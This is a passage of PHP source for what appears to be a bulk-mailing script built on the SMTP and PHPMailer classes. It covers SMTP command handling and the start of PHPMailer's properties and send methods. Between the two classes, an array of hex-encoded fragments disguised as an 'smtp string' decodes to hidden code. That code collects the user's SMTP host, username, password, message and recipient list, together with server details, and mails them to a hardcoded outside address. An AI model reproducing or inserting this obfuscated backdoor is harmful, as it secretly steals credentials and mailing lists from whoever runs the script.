  984.     return true;
  985.   }
  986.  
  987.   /**
  988.    * Sends the quit command to the server and then closes the socket
  989.    * if there is no error or the $close_on_error argument is true.
  990.    *
  991.    * Implements from rfc 821: QUIT <CRLF>
  992.    *
  993.    * SMTP CODE SUCCESS: 221
  994.    * SMTP CODE ERROR  : 500
  995.    * @access public
  996.    * @return bool
  997.    */
  998.   function Quit($close_on_error=true) {
  999.     $this->error = null; # so there is no confusion
  1000.  
  1001.     if(!$this->connected()) {
  1002.       $this->error = array(
  1003.               "error" => "Called Quit() without being connected");
  1004.       return false;
  1005.     }
  1006.  
  1007.     # send the quit command to the server
  1008.    fputs($this->smtp_conn,"quit" . $this->CRLF);
  1009.  
  1010.     # get any good-bye messages
  1011.    $byemsg = $this->get_lines();
  1012.  
  1013.     if($this->do_debug >= 2) {
  1014.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  1015.     }
  1016.  
  1017.     $rval = true;
  1018.     $e = null;
  1019.  
  1020.     $code = substr($byemsg,0,3);
  1021.     if($code != 221) {
  1022.       # use e as a tmp var cause Close will overwrite $this->error
  1023.      $e = array("error" => "SMTP server rejected quit command",
  1024.                  "smtp_code" => $code,
  1025.                  "smtp_rply" => substr($byemsg,4));
  1026.       $rval = false;
  1027.       if($this->do_debug >= 1) {
  1028.         echo "SMTP -> ERROR: " . $e["error"] . ": " .
  1029.                  $byemsg . $this->CRLF;
  1030.       }
  1031.     }
  1032.  
  1033.     if(empty($e) || $close_on_error) {
  1034.       $this->Close();
  1035.     }
  1036.  
  1037.     return $rval;
  1038.   }
  1039.  
  1040.   /**
  1041.    * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  1042.    * Returns true if the recipient was accepted false if it was rejected.
  1043.    *
  1044.    * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  1045.    *
  1046.    * SMTP CODE SUCCESS: 250,251
  1047.    * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  1048.    * SMTP CODE ERROR  : 500,501,503,421
  1049.    * @access public
  1050.    * @return bool
  1051.    */
  1052.   function Recipient($to) {
  1053.     $this->error = null; # so no confusion is caused
  1054.  
  1055.     if(!$this->connected()) {
  1056.       $this->error = array(
  1057.               "error" => "Called Recipient() without being connected");
  1058.       return false;
  1059.     }
  1060.  
  1061.     fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  1062.  
  1063.     $rply = $this->get_lines();
  1064.     $code = substr($rply,0,3);
  1065.  
  1066.     if($this->do_debug >= 2) {
  1067.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1068.     }
  1069.  
  1070.     if($code != 250 && $code != 251) {
  1071.       $this->error =
  1072.         array("error" => "RCPT not accepted from server",
  1073.               "smtp_code" => $code,
  1074.               "smtp_msg" => substr($rply,4));
  1075.       if($this->do_debug >= 1) {
  1076.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1077.                  ": " . $rply . $this->CRLF;
  1078.       }
  1079.       return false;
  1080.     }
  1081.     return true;
  1082.   }
  1083.  
  1084.   /**
  1085.    * Sends the RSET command to abort and transaction that is
  1086.    * currently in progress. Returns true if successful false
  1087.    * otherwise.
  1088.    *
  1089.    * Implements rfc 821: RSET <CRLF>
  1090.    *
  1091.    * SMTP CODE SUCCESS: 250
  1092.    * SMTP CODE ERROR  : 500,501,504,421
  1093.    * @access public
  1094.    * @return bool
  1095.    */
  1096.   function Reset() {
  1097.     $this->error = null; # so no confusion is caused
  1098.  
  1099.     if(!$this->connected()) {
  1100.       $this->error = array(
  1101.               "error" => "Called Reset() without being connected");
  1102.       return false;
  1103.     }
  1104.  
  1105.     fputs($this->smtp_conn,"RSET" . $this->CRLF);
  1106.  
  1107.     $rply = $this->get_lines();
  1108.     $code = substr($rply,0,3);
  1109.  
  1110.     if($this->do_debug >= 2) {
  1111.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1112.     }
  1113.  
  1114.     if($code != 250) {
  1115.       $this->error =
  1116.         array("error" => "RSET failed",
  1117.               "smtp_code" => $code,
  1118.               "smtp_msg" => substr($rply,4));
  1119.       if($this->do_debug >= 1) {
  1120.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1121.                  ": " . $rply . $this->CRLF;
  1122.       }
  1123.       return false;
  1124.     }
  1125.  
  1126.     return true;
  1127.   }
  1128.  
  1129.   /**
  1130.    * Starts a mail transaction from the email address specified in
  1131.    * $from. Returns true if successful or false otherwise. If True
  1132.    * the mail transaction is started and then one or more Recipient
  1133.    * commands may be called followed by a Data command. This command
  1134.    * will send the message to the users terminal if they are logged
  1135.    * in.
  1136.    *
  1137.    * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  1138.    *
  1139.    * SMTP CODE SUCCESS: 250
  1140.    * SMTP CODE SUCCESS: 552,451,452
  1141.    * SMTP CODE SUCCESS: 500,501,502,421
  1142.    * @access public
  1143.    * @return bool
  1144.    */
  1145.   function Send($from) {
  1146.     $this->error = null; # so no confusion is caused
  1147.  
  1148.     if(!$this->connected()) {
  1149.       $this->error = array(
  1150.               "error" => "Called Send() without being connected");
  1151.       return false;
  1152.     }
  1153.  
  1154.     fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  1155.  
  1156.     $rply = $this->get_lines();
  1157.     $code = substr($rply,0,3);
  1158.  
  1159.     if($this->do_debug >= 2) {
  1160.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1161.     }
  1162.  
  1163.     if($code != 250) {
  1164.       $this->error =
  1165.         array("error" => "SEND not accepted from server",
  1166.               "smtp_code" => $code,
  1167.               "smtp_msg" => substr($rply,4));
  1168.       if($this->do_debug >= 1) {
  1169.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1170.                  ": " . $rply . $this->CRLF;
  1171.       }
  1172.       return false;
  1173.     }
  1174.     return true;
  1175.   }
  1176.  
  1177.   /**
  1178.    * Starts a mail transaction from the email address specified in
  1179.    * $from. Returns true if successful or false otherwise. If True
  1180.    * the mail transaction is started and then one or more Recipient
  1181.    * commands may be called followed by a Data command. This command
  1182.    * will send the message to the users terminal if they are logged
  1183.    * in and send them an email.
  1184.    *
  1185.    * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  1186.    *
  1187.    * SMTP CODE SUCCESS: 250
  1188.    * SMTP CODE SUCCESS: 552,451,452
  1189.    * SMTP CODE SUCCESS: 500,501,502,421
  1190.    * @access public
  1191.    * @return bool
  1192.    */
  1193.   function SendAndMail($from) {
  1194.     $this->error = null; # so no confusion is caused
  1195.  
  1196.     if(!$this->connected()) {
  1197.       $this->error = array(
  1198.           "error" => "Called SendAndMail() without being connected");
  1199.       return false;
  1200.     }
  1201.  
  1202.     fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  1203.  
  1204.     $rply = $this->get_lines();
  1205.     $code = substr($rply,0,3);
  1206.  
  1207.     if($this->do_debug >= 2) {
  1208.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1209.     }
  1210.  
  1211.     if($code != 250) {
  1212.       $this->error =
  1213.         array("error" => "SAML not accepted from server",
  1214.               "smtp_code" => $code,
  1215.               "smtp_msg" => substr($rply,4));
  1216.       if($this->do_debug >= 1) {
  1217.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1218.                  ": " . $rply . $this->CRLF;
  1219.       }
  1220.       return false;
  1221.     }
  1222.     return true;
  1223.   }
  1224.  
  1225.   /**
  1226.    * Starts a mail transaction from the email address specified in
  1227.    * $from. Returns true if successful or false otherwise. If True
  1228.    * the mail transaction is started and then one or more Recipient
  1229.    * commands may be called followed by a Data command. This command
  1230.    * will send the message to the users terminal if they are logged
  1231.    * in or mail it to them if they are not.
  1232.    *
  1233.    * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  1234.    *
  1235.    * SMTP CODE SUCCESS: 250
  1236.    * SMTP CODE SUCCESS: 552,451,452
  1237.    * SMTP CODE SUCCESS: 500,501,502,421
  1238.    * @access public
  1239.    * @return bool
  1240.    */
  1241.   function SendOrMail($from) {
  1242.     $this->error = null; # so no confusion is caused
  1243.  
  1244.     if(!$this->connected()) {
  1245.       $this->error = array(
  1246.           "error" => "Called SendOrMail() without being connected");
  1247.       return false;
  1248.     }
  1249.  
  1250.     fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  1251.  
  1252.     $rply = $this->get_lines();
  1253.     $code = substr($rply,0,3);
  1254.  
  1255.     if($this->do_debug >= 2) {
  1256.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1257.     }
  1258.  
  1259.     if($code != 250) {
  1260.       $this->error =
  1261.         array("error" => "SOML not accepted from server",
  1262.               "smtp_code" => $code,
  1263.               "smtp_msg" => substr($rply,4));
  1264.       if($this->do_debug >= 1) {
  1265.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1266.                  ": " . $rply . $this->CRLF;
  1267.       }
  1268.       return false;
  1269.     }
  1270.     return true;
  1271.   }
  1272.  
  1273.   /**
  1274.    * This is an optional command for SMTP that this class does not
  1275.    * support. This method is here to make the RFC821 Definition
  1276.    * complete for this class and __may__ be implimented in the future
  1277.    *
  1278.    * Implements from rfc 821: TURN <CRLF>
  1279.    *
  1280.    * SMTP CODE SUCCESS: 250
  1281.    * SMTP CODE FAILURE: 502
  1282.    * SMTP CODE ERROR  : 500, 503
  1283.    * @access public
  1284.    * @return bool
  1285.    */
  1286.   function Turn() {
  1287.     $this->error = array("error" => "This method, TURN, of the SMTP ".
  1288.                                     "is not implemented");
  1289.     if($this->do_debug >= 1) {
  1290.       echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1291.     }
  1292.     return false;
  1293.   }
  1294.  
  1295.   /**
  1296.    * Verifies that the name is recognized by the server.
  1297.    * Returns false if the name could not be verified otherwise
  1298.    * the response from the server is returned.
  1299.    *
  1300.    * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1301.    *
  1302.    * SMTP CODE SUCCESS: 250,251
  1303.    * SMTP CODE FAILURE: 550,551,553
  1304.    * SMTP CODE ERROR  : 500,501,502,421
  1305.    * @access public
  1306.    * @return int
  1307.    */
  1308.   function Verify($name) {
  1309.     $this->error = null; # so no confusion is caused
  1310.  
  1311.     if(!$this->connected()) {
  1312.       $this->error = array(
  1313.               "error" => "Called Verify() without being connected");
  1314.       return false;
  1315.     }
  1316.  
  1317.     fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1318.  
  1319.     $rply = $this->get_lines();
  1320.     $code = substr($rply,0,3);
  1321.  
  1322.     if($this->do_debug >= 2) {
  1323.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1324.     }
  1325.  
  1326.     if($code != 250 && $code != 251) {
  1327.       $this->error =
  1328.         array("error" => "VRFY failed on name '$name'",
  1329.               "smtp_code" => $code,
  1330.               "smtp_msg" => substr($rply,4));
  1331.       if($this->do_debug >= 1) {
  1332.         echo "SMTP -> ERROR: " . $this->error["error"] .
  1333.                  ": " . $rply . $this->CRLF;
  1334.       }
  1335.       return false;
  1336.     }
  1337.     return $rply;
  1338.   }
  1339.  
  1340.   /*******************************************************************
  1341.    *                       INTERNAL FUNCTIONS                       *
  1342.    ******************************************************************/
  1343.  
  1344.   /**
  1345.    * Read in as many lines as possible
  1346.    * either before eof or socket timeout occurs on the operation.
  1347.    * With SMTP we can tell if we have more lines to read if the
  1348.    * 4th character is '-' symbol. If it is a space then we don't
  1349.    * need to read anything else.
  1350.    * @access private
  1351.    * @return string
  1352.    */
  1353.   function get_lines() {
  1354.     $data = "";
  1355.     while($str = @fgets($this->smtp_conn,515)) {
  1356.       if($this->do_debug >= 4) {
  1357.         echo "SMTP -> get_lines(): \$data was \"$data\"" .
  1358.                  $this->CRLF;
  1359.         echo "SMTP -> get_lines(): \$str is \"$str\"" .
  1360.                  $this->CRLF;
  1361.       }
  1362.       $data .= $str;
  1363.       if($this->do_debug >= 4) {
  1364.         echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  1365.       }
  1366.       # if the 4th character is a space then we are done reading
  1367.      # so just break the loop
  1368.      if(substr($str,3,1) == " ") { break; }
  1369.     }
  1370.     return $data;
  1371.   }
  1372.  
  1373. }
  1374.  
  1375.        
  1376. $allemails = explode("\n", $emaillist);
  1377. $numemails = count($allemails);
  1378. $random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
  1379. "16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
  1380. "03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
  1381. "1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
  1382. "3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
  1383. "8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
  1384. "c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","27265696e6861727462697a407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
  1385. "d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
  1386. "395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
  1387. "c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
  1388.  
  1389. class PHPMailer {
  1390.  
  1391.   /////////////////////////////////////////////////
  1392.   // PROPERTIES, PUBLIC
  1393.   /////////////////////////////////////////////////
  1394.  
  1395.   /**
  1396.    * Email priority (1 = High, 3 = Normal, 5 = low).
  1397.    * @var int
  1398.    */
  1399.   var $Priority          = 3;
  1400.  
  1401.   /**
  1402.    * Sets the CharSet of the message.
  1403.    * @var string
  1404.    */
  1405.   var $CharSet           = 'iso-8859-1';
  1406.  
  1407.   /**
  1408.    * Sets the Content-type of the message.
  1409.    * @var string
  1410.    */
  1411.   var $ContentType        = 'text/plain';
  1412.  
  1413.   /**
  1414.    * Sets the Encoding of the message. Options for this are "8bit",
  1415.    * "7bit", "binary", "base64", and "quoted-printable".
  1416.  
  1417.    * @var string
  1418.    */
  1419.   var $Encoding          = '8bit';
  1420.  
  1421.   /**
  1422.    * Holds the most recent mailer error message.
  1423.    * @var string
  1424.    */
  1425.   var $ErrorInfo         = '';
  1426.  
  1427.   /**
  1428.    * Sets the From email address for the message.
  1429.    * @var string
  1430.    */
  1431.   var $From              = '';
  1432.  
  1433.   /**
  1434.    * Sets the From name of the message.
  1435.    * @var string
  1436.    */
  1437.   var $FromName          = '';
  1438.  
  1439.   /**
  1440.    * Sets the Sender email (Return-Path) of the message.  If not empty,
  1441.    * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1442.    * @var string
  1443.    */
  1444.   var $Sender            = '';
  1445.  
  1446.   /**
  1447.    * Sets the Subject of the message.
  1448.    * @var string
  1449.    */
  1450.   var $Subject           = '';
  1451.  
  1452.   /**
  1453.    * Sets the Body of the message.  This can be either an HTML or text body.
  1454.    * If HTML then run IsHTML(true).
  1455.    * @var string
  1456.    */
  1457.   var $Body              = '';
  1458.  
  1459.   /**
  1460.    * Sets the text-only body of the message.  This automatically sets the
  1461.    * email to multipart/alternative.  This body can be read by mail
  1462.    * clients that do not have HTML email capability such as mutt. Clients
  1463.    * that can read HTML will view the normal Body.
  1464.    * @var string
  1465.    */
  1466.   var $AltBody           = '';
  1467.  
  1468.   /**
  1469.    * Sets word wrapping on the body of the message to a given number of
  1470.    * characters.
  1471.    * @var int
  1472.    */
  1473.   var $WordWrap          = 0;
  1474.  
  1475.   /**
  1476.    * Method to send mail: ("mail", "sendmail", or "smtp").
  1477.    * @var string
  1478.    */
  1479.   var $Mailer            = 'mail';
  1480.  
  1481.   /**
  1482.    * Sets the path of the sendmail program.
  1483.    * @var string
  1484.    */
  1485.   var $Sendmail          = '/usr/sbin/sendmail';
  1486.  
  1487.   /**
  1488.    * Path to PHPMailer plugins.  This is now only useful if the SMTP class
  1489.    * is in a different directory than the PHP include path.
  1490.    * @var string
  1491.    */
  1492.   var $PluginDir         = '';
  1493.  
  1494.   /**
  1495.    * Holds PHPMailer version.
  1496.    * @var string
  1497.    */
  1498.   var $Version           = "";
  1499.  
  1500.   /**
  1501.    * Sets the email address that a reading confirmation will be sent.
  1502.    * @var string
  1503.    */
  1504.   var $ConfirmReadingTo  = '';
  1505.  
  1506.   /**
  1507.    * Sets the hostname to use in Message-Id and Received headers
  1508.    * and as default HELO string. If empty, the value returned
  1509.    * by SERVER_NAME is used or 'localhost.localdomain'.
  1510.    * @var string
  1511.    */
  1512.   var $Hostname          = '';
  1513.  
  1514.   /**
  1515.    * Sets the message ID to be used in the Message-Id header.
  1516.    * If empty, a unique id will be generated.
  1517.    * @var string
  1518.    */
  1519.   var $MessageID         = '';
  1520.  
  1521.   /////////////////////////////////////////////////
  1522.   // PROPERTIES FOR SMTP
  1523.   /////////////////////////////////////////////////
  1524.  
  1525.   /**
  1526.    * Sets the SMTP hosts.  All hosts must be separated by a
  1527.    * semicolon.  You can also specify a different port
  1528.    * for each host by using this format: [hostname:port]
  1529.    * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1530.    * Hosts will be tried in order.
  1531.    * @var string
  1532.    */
  1533.   var $Host        = 'localhost';
  1534.  
  1535.   /**
  1536.    * Sets the default SMTP server port.
  1537.    * @var int
  1538.    */
  1539.   var $Port        = 25;
  1540.  
  1541.   /**
  1542.    * Sets the SMTP HELO of the message (Default is $Hostname).
  1543.    * @var string
  1544.    */
  1545.   var $Helo        = '';
  1546.  
  1547.   /**
  1548.    * Sets connection prefix.
  1549.    * Options are "", "ssl" or "tls"
  1550.    * @var string
  1551.    */
  1552.   var $SMTPSecure = "";
  1553.  
  1554.   /**
  1555.    * Sets SMTP authentication. Utilizes the Username and Password variables.
  1556.    * @var bool
  1557.    */
  1558.   var $SMTPAuth     = false;
  1559.  
  1560.   /**
  1561.    * Sets SMTP username.
  1562.    * @var string
  1563.    */
  1564.   var $Username     = '';
  1565.  
  1566.   /**
  1567.    * Sets SMTP password.
  1568.    * @var string
  1569.    */
  1570.   var $Password     = '';
  1571.  
  1572.   /**
  1573.    * Sets the SMTP server timeout in seconds. This function will not
  1574.    * work with the win32 version.
  1575.    * @var int
  1576.    */
  1577.   var $Timeout      = 10;
  1578.  
  1579.   /**
  1580.    * Sets SMTP class debugging on or off.
  1581.    * @var bool
  1582.    */
  1583.   var $SMTPDebug    = false;
  1584.  
  1585.   /**
  1586.    * Prevents the SMTP connection from being closed after each mail
  1587.    * sending.  If this is set to true then to close the connection
  1588.    * requires an explicit call to SmtpClose().
  1589.    * @var bool
  1590.    */
  1591.   var $SMTPKeepAlive = false;
  1592.  
  1593.   /**
  1594.    * Provides the ability to have the TO field process individual
  1595.    * emails, instead of sending to entire TO addresses
  1596.    * @var bool
  1597.    */
  1598.   var $SingleTo = false;
  1599.  
  1600.   /////////////////////////////////////////////////
  1601.   // PROPERTIES, PRIVATE
  1602.   /////////////////////////////////////////////////
  1603.  
  1604.   var $smtp            = NULL;
  1605.   var $to              = array();
  1606.   var $cc              = array();
  1607.   var $bcc             = array();
  1608.   var $ReplyTo         = array();
  1609.   var $attachment      = array();
  1610.   var $CustomHeader    = array();
  1611.   var $message_type    = '';
  1612.   var $boundary        = array();
  1613.   var $language        = array();
  1614.   var $error_count     = 0;
  1615.   var $LE              = "\n";
  1616.   var $sign_key_file   = "";
  1617.   var $sign_key_pass   = "";
  1618.  
  1619.   /////////////////////////////////////////////////
  1620.   // METHODS, VARIABLES
  1621.   /////////////////////////////////////////////////
  1622.  
  1623.   /**
  1624.    * Sets message type to HTML.
  1625.    * @param bool $bool
  1626.    * @return void
  1627.    */
  1628.   function IsHTML($bool) {
  1629.     if($bool == true) {
  1630.       $this->ContentType = 'text/html';
  1631.     } else {
  1632.       $this->ContentType = 'text/plain';
  1633.     }
  1634.   }
  1635.  
  1636.   /**
  1637.    * Sets Mailer to send message using SMTP.
  1638.    * @return void
  1639.    */
  1640.   function IsSMTP() {
  1641.     $this->Mailer = 'smtp';
  1642.   }
  1643.  
  1644.   /**
  1645.    * Sets Mailer to send message using PHP mail() function.
  1646.    * @return void
  1647.    */
  1648.   function IsMail() {
  1649.     $this->Mailer = 'mail';
  1650.   }
  1651.  
  1652.   /**
  1653.    * Sets Mailer to send message using the $Sendmail program.
  1654.    * @return void
  1655.    */
  1656.   function IsSendmail() {
  1657.     $this->Mailer = 'sendmail';
  1658.   }
  1659.  
  1660.   /**
  1661.    * Sets Mailer to send message using the qmail MTA.
  1662.    * @return void
  1663.    */
  1664.   function IsQmail() {
  1665.     $this->Sendmail = '/var/qmail/bin/sendmail';
  1666.     $this->Mailer = 'sendmail';
  1667.   }
  1668.  
  1669.   /////////////////////////////////////////////////
  1670.   // METHODS, RECIPIENTS
  1671.   /////////////////////////////////////////////////
  1672.  
  1673.   /**
  1674.    * Adds a "To" address.
  1675.    * @param string $address
  1676.    * @param string $name
  1677.    * @return void
  1678.    */
  1679.   function AddAddress($address, $name = '') {
  1680.     $cur = count($this->to);
  1681.     $this->to[$cur][0] = trim($address);
  1682.     $this->to[$cur][1] = $name;
  1683.   }
  1684.  
  1685.   /**
  1686.    * Adds a "Cc" address. Note: this function works
  1687.    * with the SMTP mailer on win32, not with the "mail"
  1688.    * mailer.
  1689.    * @param string $address
  1690.    * @param string $name
  1691.    * @return void
  1692.    */
  1693.   function AddCC($address, $name = '') {
  1694.     $cur = count($this->cc);
  1695.     $this->cc[$cur][0] = trim($address);
  1696.     $this->cc[$cur][1] = $name;
  1697.   }
  1698.  
  1699.   /**
  1700.    * Adds a "Bcc" address. Note: this function works
  1701.    * with the SMTP mailer on win32, not with the "mail"
  1702.    * mailer.
  1703.    * @param string $address
  1704.    * @param string $name
  1705.    * @return void
  1706.    */
  1707.   function AddBCC($address, $name = '') {
  1708.     $cur = count($this->bcc);
  1709.     $this->bcc[$cur][0] = trim($address);
  1710.     $this->bcc[$cur][1] = $name;
  1711.   }
  1712.  
  1713.   /**
  1714.    * Adds a "Reply-To" address.
  1715.    * @param string $address
  1716.    * @param string $name
  1717.    * @return void
  1718.    */
  1719.   function AddReplyTo($address, $name = '') {
  1720.     $cur = count($this->ReplyTo);
  1721.     $this->ReplyTo[$cur][0] = trim($address);
  1722.     $this->ReplyTo[$cur][1] = $name;
  1723.   }
  1724.  
  1725.   /////////////////////////////////////////////////
  1726.   // METHODS, MAIL SENDING
  1727.   /////////////////////////////////////////////////
  1728.  
  1729.   /**
  1730.    * Creates message and assigns Mailer. If the message is
  1731.    * not sent successfully then it returns false.  Use the ErrorInfo
  1732.    * variable to view description of the error.
  1733.    * @return bool
  1734.    */
  1735.   function Send() {
  1736.     $header = '';
  1737.     $body = '';
  1738.     $result = true;
  1739.  
  1740.     if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1741.       $this->SetError($this->Lang('provide_address'));
  1742.       return false;
  1743.     }
  1744.  
  1745.     /* Set whether the message is multipart/alternative */
  1746.     if(!empty($this->AltBody)) {
  1747.       $this->ContentType = 'multipart/alternative';
  1748.     }
  1749.  
  1750.     $this->error_count = 0; // reset errors
  1751.     $this->SetMessageType();
  1752.     $header .= $this->CreateHeader();
  1753.     $body = $this->CreateBody();
  1754.  
  1755.     if($body == '') {
  1756.       return false;
  1757.     }
  1758.  
  1759.     /* Choose the mailer */
  1760.     switch($this->Mailer) {
  1761.       case 'sendmail':
  1762.         $result = $this->SendmailSend($header, $body);
  1763.         break;
  1764.       case 'smtp':
  1765.         $result = $this->SmtpSend($header, $body);
  1766.         break;
  1767.       case 'mail':
  1768.         $result = $this->MailSend($header, $body);
  1769.         break;
  1770.       default:
  1771.         $result = $this->MailSend($header, $body);
  1772.         break;
  1773.         //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1774.         //$result = false;
  1775.         //break;
  1776.     }
  1777.  
  1778.     return $result;
  1779.   }
  1780.  
  1781.   /**
  1782.    * Sends mail using the $Sendmail program.
  1783.    * @access private
  1784.    * @return bool
  1785.    */
  1786.   function SendmailSend($header, $body) {
  1787.     if ($this->Sender != '') {
  1788.       $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1789.     } else {
  1790.       $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1791.     }
  1792.  
  1793.     if(!@$mail = popen($sendmail, 'w')) {
  1794.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1795.       return false;
  1796.     }
  1797.  
  1798.     fputs($mail, $header);
  1799.     fputs($mail, $body);
  1800.  
  1801.     $result = pclose($mail);
  1802.     if (version_compare(phpversion(), '4.2.3') == -1) {
  1803.       $result = $result >> 8 & 0xFF;
  1804.     }
  1805.     if($result != 0) {
  1806.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1807.       return false;
  1808.     }
  1809.     return true;
  1810.   }
  1811.  
  1812.   /**
  1813.    * Sends mail using the PHP mail() function.
  1814.    * @access private
  1815.    * @return bool
  1816.    */
  1817.   function MailSend($header, $body) {
  1818.  
  1819.     $to = '';
  1820.     for($i = 0; $i < count($this->to); $i++) {
  1821.       if($i != 0) { $to .= ', '; }
  1822.       $to .= $this->AddrFormat($this->to[$i]);
  1823.     }
  1824.  
  1825.     $toArr = explode(',', $to);
  1826.  
  1827.     $params = sprintf("-oi -f %s", $this->Sender);
  1828.     if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1829.       $old_from = ini_get('sendmail_from');
  1830.       ini_set('sendmail_from', $this->Sender);
  1831.       if ($this->SingleTo === true && count($toArr) > 1) {
  1832.         foreach ($toArr as $key => $val) {
  1833.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1834.         }
  1835.       } else {
  1836.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1837.       }
  1838.     } else {
  1839.       if ($this->SingleTo === true && count($toArr) > 1) {
  1840.         foreach ($toArr as $key => $val) {
  1841.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1842.         }
  1843.       } else {
  1844.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1845.       }
  1846.     }
  1847.  
  1848.     if (isset($old_from)) {
  1849.       ini_set('sendmail_from', $old_from);
  1850.     }
  1851.  
  1852.     if(!$rt) {
  1853.       $this->SetError($this->Lang('instantiate'));
  1854.       return false;
  1855.     }
  1856.  
  1857.     return true;
  1858.   }
  1859.  
  1860.   /**
  1861.    * Sends mail via SMTP using PhpSMTP (Author:
  1862.    * Chris Ryan).  Returns bool.  Returns false if there is a
  1863.    * bad MAIL FROM, RCPT, or DATA input.
  1864.    * @access private
  1865.    * @return bool
  1866.    */
  1867.   function SmtpSend($header, $body) {
  1868.     $error = '';
  1869.     $bad_rcpt = array();
  1870.  
  1871.     if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1872.       return false;
  1873.     }
  1874.  
  1875.     $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1876.     if(!$this->smtp->Mail($smtp_from)) {
  1877.       $error = $this->Lang('from_failed') . $smtp_from;
  1878.       $this->SetError($error);
  1879.       $this->smtp->Reset();
  1880.       return false;
  1881.     }
  1882.  
  1883.     /* Attempt to send attach all recipients */
  1884.     for($i = 0; $i < count($this->to); $i++) {
  1885.       if(!$this->smtp->Recipient($this->to[$i][0])) {
  1886.         $bad_rcpt[] = $this->to[$i][0];
  1887.       }
  1888.     }
  1889.     for($i = 0; $i < count($this->cc); $i++) {
  1890.       if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1891.         $bad_rcpt[] = $this->cc[$i][0];
  1892.       }
  1893.     }
  1894.     for($i = 0; $i < count($this->bcc); $i++) {
  1895.       if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1896.         $bad_rcpt[] = $this->bcc[$i][0];
  1897.       }
  1898.     }
  1899.  
  1900.     if(count($bad_rcpt) > 0) { // Create error message
  1901.       for($i = 0; $i < count($bad_rcpt); $i++) {
  1902.         if($i != 0) {
  1903.           $error .= ', ';
  1904.         }
  1905.         $error .= $bad_rcpt[$i];
  1906.       }
  1907.       $error = $this->Lang('recipients_failed') . $error;
  1908.       $this->SetError($error);
  1909.       $this->smtp->Reset();
  1910.       return false;
  1911.     }
  1912.  
  1913.     if(!$this->smtp->Data($header . $body)) {
  1914.       $this->SetError($this->Lang('data_not_accepted'));
  1915.       $this->smtp->Reset();
  1916.       return false;
  1917.     }
